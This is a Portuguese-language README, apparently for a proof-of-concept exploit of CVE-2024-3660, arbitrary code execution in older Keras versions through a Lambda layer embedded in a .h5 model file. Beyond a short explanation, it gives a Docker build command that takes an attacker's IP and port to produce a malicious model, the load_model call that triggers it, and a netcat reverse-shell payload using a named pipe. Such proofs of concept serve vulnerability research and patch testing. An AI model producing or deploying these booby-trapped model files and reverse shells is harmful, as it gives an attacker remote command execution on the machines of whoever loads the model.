
Um PoC para CVE-2024-3660. Execução Arbitrária de Código no Keras.
CVE-2024-3660 é uma vulnerabilidade de execução arbitrária de código no framework Keras do TensorFlow que afeta versões < 2.13.
Ela permite que um atacante incorpore código Python dentro de um modelo (por exemplo, via uma camada Lambda) que é executado automaticamente quando o modelo é carregado.
Quando um arquivo de modelo .h5 malicioso é carregado em um ambiente vulnerável, comandos arbitrários são executados com as mesmas permissões do processo de carregamento.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
ou em versões mais antigas do TensorFlow onde safe_mode não está habilitado por padrão.
Esta PoC usa uma compilação baseada em Docker para gerar um modelo hack.h5 malicioso contendo um payload de reverse shell. Quando o modelo é carregado em uma versão vulnerável do TensorFlow, ele se conecta de volta à máquina do atacante.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f